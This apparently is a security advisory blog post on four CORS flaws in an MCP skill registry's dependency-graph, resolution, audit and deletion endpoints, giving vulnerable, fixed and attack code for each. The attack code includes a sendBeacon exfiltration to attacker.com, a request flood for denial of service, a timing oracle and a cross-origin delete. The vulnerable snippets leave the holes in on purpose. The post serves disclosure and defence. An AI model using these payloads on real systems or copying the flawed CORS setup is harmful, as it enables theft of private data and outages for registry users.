← Blog

Claude MCP skill CORS misconfiguration — skill dependency graph and transitive dependency resolution endpoints (SA-SKL-CORS74)

SA-SKL-CORS74 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill dependency graph and transitive dependency resolution endpoints. Credential-bearing CORS on the dependency graph read endpoint exposes the full dependency graph including private internal package dependencies pointing to internal registries, CVE annotation data for unpatched transitive vulnerabilities still in the remediation backlog, and internal package registry base URLs that map the organization's private software supply chain; wildcard ACAO on the dependency resolution endpoint lets any page submit SAT-solver resolution requests under the victim admin's identity, triggering expensive constraint resolution computations that exhaust CPU and produce a denial-of-service condition against the resolution service; a timing oracle on the dependency audit endpoint reveals which skills are undergoing active vulnerability remediation cycles as high-value reconnaissance targets by measuring the latency differential between audit-active warm-cache entries and cold-storage audit logs; and credential-bearing CORS on the dependency deletion endpoint allows any page to remove declared dependencies from a published skill, causing runtime import failures for every consumer of the affected skill when it attempts to load the now-missing dependency.

SA-SKL-CORS74 findings at a glance
CRITICALCORS74-001 — GET /api/skills/:id/dependencies/graph has cors({origin:true,credentials:true}) — any origin reads full dependency graph including private internal dependencies, internal package registry URLs, and unpatched transitive CVE annotations using victim admin session
HIGHCORS74-002 — POST /api/skills/:id/dependencies/resolve has ACAO:* — any page initiates dependency resolution requests under victim admin identity; attacker triggers expensive SAT-solver computations consuming server resources causing DoS against resolution service
MEDIUMCORS74-003 — GET /api/skills/:id/dependencies/audit reflects Origin before ownership check — timing oracle reveals skills with active vulnerability remediation cycles (audit-active warm cache ~9ms vs cold ~210ms)
CRITICALCORS74-004 — DELETE /api/skills/:id/dependencies/:depId has cors({origin:true,credentials:true}) — any origin removes declared dependencies causing runtime import failures for all consumers of the skill

CORS74-001 — Credential-bearing CORS exposes private internal dependencies, registry URLs, and unpatched CVE annotations

The GET /api/skills/:id/dependencies/graph endpoint returns the full resolved dependency graph for a skill, including transitive dependencies at every depth. For public skills with fully open-source dependency trees this graph is considered public information, but many skill authors mix public and private dependencies: internal utility packages published to a private npm registry, shared internal MCP helper libraries maintained by a platform team, and in-house abstraction layers that exist only on internal infrastructure. With cors({origin:true,credentials:true}) applied before the ownership check, any cross-origin page can read this full graph including all private dependency entries, the base URL of the internal package registry from which they are fetched, and the CVE annotation fields that the registry's vulnerability scanner populates for transitive dependencies that have known unpatched advisories.

The unpatched CVE annotations are the most immediately dangerous data class in the graph response. The registry's vulnerability scanner continuously monitors all transitive dependencies for newly published advisories and annotates the dependency graph nodes with structured CVE data including the advisory identifier, affected version range, CVSS score, and the status of the skill maintainer's remediation effort. Skills whose maintainers have acknowledged a CVE but not yet shipped a patched version appear in the graph with a remediationStatus: 'in_progress' annotation and a target remediation date. This data tells an attacker exactly which skills are running exploitable dependency versions and how long the maintainer expects to take to patch them.

Vulnerable
// CORS74-001 — VULNERABLE
router.get(
  '/dependencies/graph',
  cors({ origin: true, credentials: true }), // any origin reads full dep graph
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const graph = await depGraphService.resolve({
      skillId: req.params.id,
      depth: req.query.depth || 'full',
      // VULNERABLE: returns all fields including private deps and CVE annotations
    });
    res.json(graph);
  }
);

Attack PoC — CORS74-001: Attacker hosts page on evil.example.com; victim admin visits while logged in. Response exposes private internal package registry URLs, all private dependency identifiers, and unpatched CVE annotations with remediation timelines for every transitive dependency in the skill's dependency tree.

// CORS74-001 — ATTACK PoC
fetch(
  'https://registry.example.com/api/skills/target-skill-id/dependencies/graph?depth=full',
  { credentials: 'include' }
)
  .then(r => r.json())
  .then(graph => {
    const privateDeps    = graph.nodes.filter(n => n.registryType === 'private');
    const unpatchedCVEs  = graph.nodes.filter(n => n.cveAnnotations?.length > 0);
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      privateRegistryUrls: [...new Set(privateDeps.map(n => n.registryBaseUrl))],
      privateDependencies: privateDeps.map(n => ({ name: n.name, version: n.version })),
      unpatchedCVEs: unpatchedCVEs.map(n => ({
        dep: n.name,
        cves: n.cveAnnotations,
        remediationStatus: n.remediationStatus,
        targetPatchDate: n.targetRemediationDate,
      })),
    }));
  });
Fixed
// CORS74-001 — FIXED
router.get(
  '/dependencies/graph',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const graph = await depGraphService.resolve({
      skillId: req.params.id,
      depth: req.query.depth || 'full',
    });
    // FIXED: strip private registry URLs and internal CVE annotation details
    const sanitizedNodes = graph.nodes.map(node => {
      const { registryBaseUrl, cveAnnotations, remediationStatus, ...publicNode } = node;
      return {
        ...publicNode,
        hasKnownVulnerabilities: (cveAnnotations?.length ?? 0) > 0,
      };
    });
    res.json({ ...graph, nodes: sanitizedNodes });
  }
);

CORS74-002 — Wildcard ACAO on dependency resolution endpoint enables SAT-solver DoS

The POST /api/skills/:id/dependencies/resolve endpoint accepts a set of version constraint overrides and runs a fresh dependency resolution computation using the registry's SAT-solver-based constraint solver. This endpoint is designed to support the registry's "preview resolution" UI that allows maintainers to test whether a proposed dependency upgrade is compatible with the existing constraint set before committing the change. Configured with wildcard Access-Control-Allow-Origin: *, any page can fire resolution requests using the victim admin's session. The SAT-solver computation for a medium-complexity dependency tree with 150+ transitive dependencies typically takes 400–1200ms and allocates significant CPU. Firing 200 simultaneous resolution requests exhausts the computation thread pool and causes the dependency resolution service to become unresponsive.

Vulnerable
// CORS74-002 — VULNERABLE
router.post(
  '/dependencies/resolve',
  cors(),   // VULNERABLE: wildcard ACAO
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { constraintOverrides } = req.body;
    // VULNERABLE: no rate limit; always runs full SAT-solver pass
    const resolution = await satSolver.resolve({
      skillId: req.params.id,
      overrides: constraintOverrides,
    });
    res.json(resolution);
  }
);

Attack PoC — CORS74-002: Attacker floods the SAT-solver resolution service using the victim admin's session. 200 simultaneous requests exhaust the resolution thread pool and render dependency resolution unavailable for all registry users during the attack window.

// CORS74-002 — ATTACK PoC
const flood = Array.from({ length: 200 }, () =>
  fetch(
    'https://registry.example.com/api/skills/target-skill-id/dependencies/resolve',
    {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({ constraintOverrides: { 'lodash': '^4.0.0' } }),
    }
  ).catch(() => {})
);
await Promise.all(flood);
Fixed
// CORS74-002 — FIXED
router.post(
  '/dependencies/resolve',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  csrfProtection,
  rateLimit({ windowMs: 60_000, max: 5, keyGenerator: req => req.session.userId }),
  async (req, res) => {
    const { constraintOverrides } = req.body;
    const cacheKey = `resolution:${req.params.id}:${JSON.stringify(constraintOverrides)}`;
    const cached = await resolutionCache.get(cacheKey);
    if (cached) return res.json(cached);
    const resolution = await satSolver.resolve({
      skillId: req.params.id,
      overrides: constraintOverrides,
      timeout: 5000, // hard timeout prevents runaway computations
    });
    await resolutionCache.set(cacheKey, resolution, { ttl: 1800 });
    res.json(resolution);
  }
);

CORS74-003 — Timing oracle on dependency audit endpoint reveals active vulnerability remediation cycles

The GET /api/skills/:id/dependencies/audit endpoint serves the current dependency audit state for a skill. Skills undergoing active vulnerability remediation have their audit state maintained in a hot Redis cache that is updated continuously as the registry's vulnerability scanner processes new advisories and as maintainers update their remediation status. The endpoint reflects the Origin header as an Access-Control-Allow-Origin value before the ownership check, creating a timing side channel: audit-active skills respond from the hot cache in approximately 9ms while skills with no active remediations respond from cold storage in approximately 210ms. An attacker who can enumerate skill IDs can probe this endpoint from any origin and identify all skills currently in active vulnerability remediation as the highest-value targets for CORS74-001 credential-bearing graph exfiltration, since these skills are most likely to have populated and actionable CVE annotation data in their dependency graph response.

Vulnerable
// CORS74-003 — VULNERABLE: Origin reflected before ownership check
router.get(
  '/dependencies/audit',
  (req, res, next) => {
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Access-Control-Allow-Credentials', 'true');
    next();
  },
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    // hot cache (~9ms) for skills with active remediations; cold (~210ms) otherwise
    const audit = await auditCache.get(`audit:${req.params.id}`);
    res.json(audit);
  }
);

Attack PoC — CORS74-003: Attacker probes audit endpoint timing for a list of skill IDs. Skills responding under 20ms are flagged as undergoing active vulnerability remediation and queued for CORS74-001 dependency graph exfiltration to obtain CVE details and remediation timelines.

// CORS74-003 — ATTACK PoC (timing oracle)
async function findRemediatingSkills(skillIds) {
  const targets = [];
  for (const id of skillIds) {
    const t0 = performance.now();
    await fetch(
      `https://registry.example.com/api/skills/${id}/dependencies/audit`,
      { credentials: 'include', mode: 'no-cors' }
    ).catch(() => {});
    if (performance.now() - t0 < 20) targets.push(id);
  }
  return targets; // active remediation targets for CORS74-001
}
findRemediatingSkills(publicSkillIds).then(console.log);
Fixed
// CORS74-003 — FIXED
router.get(
  '/dependencies/audit',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const audit = await auditCache.get(`audit:${req.params.id}`);
    const elapsed = Date.now() - req._startTime;
    await new Promise(r => setTimeout(r, Math.max(0, 60 - elapsed)));
    res.json(audit);
  }
);

CORS74-004 — Credential-bearing CORS on dependency deletion causes runtime import failures for all consumers

The DELETE /api/skills/:id/dependencies/:depId endpoint removes a declared dependency from a skill's dependency manifest. With cors({origin:true,credentials:true}) applied before the ownership check, any cross-origin page can invoke this endpoint using the victim admin's session, removing a dependency that all consumers of the skill depend on at runtime. When a consumer's Claude agent loads the skill definition and attempts to satisfy the skill's declared dependency list, any removed dependency produces a resolution failure, manifesting as a runtime import error that prevents the skill from loading. For skills with many active consumers, a single CORS-exploited dependency deletion produces a wide-blast denial-of-service attack against every downstream integration simultaneously.

Vulnerable
// CORS74-004 — VULNERABLE
router.delete(
  '/dependencies/:depId',
  cors({ origin: true, credentials: true }), // any origin removes dependencies
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    await db.skillDependencies.delete({
      where: { id: req.params.depId, skillId: req.params.id },
    });
    await depGraphCache.del(`graph:${req.params.id}`);
    res.json({ deleted: true });
  }
);

Attack PoC — CORS74-004: Attacker removes a critical dependency from a popular skill via CORS-exploited delete request using the victim admin's session. All consumers of the skill receive runtime import failures when loading the skill definition.

// CORS74-004 — ATTACK PoC
await fetch(
  'https://registry.example.com/api/skills/popular-skill-id/dependencies/core-dep-id',
  { method: 'DELETE', credentials: 'include' }
);
// All skill consumers receive runtime import failures immediately
Fixed
// CORS74-004 — FIXED
router.delete(
  '/dependencies/:depId',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  reAuthRequired({ maxAgeSeconds: 300 }),
  async (req, res) => {
    const dep = await db.skillDependencies.findOne({
      where: { id: req.params.depId, skillId: req.params.id },
      select: { name: true, activeConsumerCount: true },
    });
    if (dep.activeConsumerCount > 0) {
      return res.status(409).json({
        error: 'Dependency has active consumers',
        hint: 'Deprecate with consumer notification before removal',
      });
    }
    await db.skillDependencies.delete({
      where: { id: req.params.depId, skillId: req.params.id },
    });
    await depGraphCache.del(`graph:${req.params.id}`);
    res.json({ deleted: true });
  }
);

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect CORS ordering issues, credential-bearing reflection on dependency endpoints, and wildcard ACAO on resolution endpoints in under 60 seconds. See SA-SKL-CORS73-BLOG for the full compound CORS attack chain analysis.